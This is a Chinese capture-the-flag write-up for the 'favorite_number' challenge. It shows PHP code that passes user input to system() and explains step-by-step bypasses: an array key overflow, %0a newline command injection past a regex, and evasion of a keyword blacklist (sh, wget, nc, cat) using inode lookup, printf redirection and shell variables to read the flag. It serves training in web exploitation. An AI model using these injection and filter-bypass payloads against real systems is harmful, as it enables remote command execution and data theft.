命令执行%0a绕过,列表key溢出达到绕过,索引结点inode,重定向printf写入文件执行——favorite_number——攻防世界
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
题目代码
这里有三个绕过
第一个绕过,需要一个列表与array列表完成相同,但是下标为[0]的不为'admin'
第二个绕过,通过一个正则匹配使num全为数字
第三个绕过,是一个常见的黑名单
第一个绕过,需要用到php里数组下标溢出
参考:
https://segmentfault.com/q/1010000003871264
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
于是得到payload
stuff[4294967296]=admin&stuff[1]=user&num=123
第一层绕过成功
第二层绕过,跨行检测需要使用换行符%0a去进行绕过
%0a绕过正则
preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
原理如同下图
简而言之,就是因为%0a相当于;,后面的ls是下一行的语句了,而第一行的123已经满足了正则表达式的条件,于是就形成了绕过
最后是命令执行的环节
这里我们可以用到tac
方法一、
使用inode绕过关键字
inode 索引节点
Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。可以通过ls -i
列出文件名和inode号码
先寻找flag的inode
然后进行读取
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`
反引号``
反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`
方法二、
可以用printf将命令写入一个文件
1 printf /fla > /tmp/hello 2 printf g >> /tmp/hello 3 tac `tac /tmp/hello` 4 5 # printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 ta 6 c `tac /tmp/hello`
php可以将输出的结果重定向到文件中,通过>
经过测试,发现>会覆盖文件的内容,而>>可以在文件的尾部进行输入
方法三、
可以通过全局变量
$a=/fla;$b=g;tac $a$b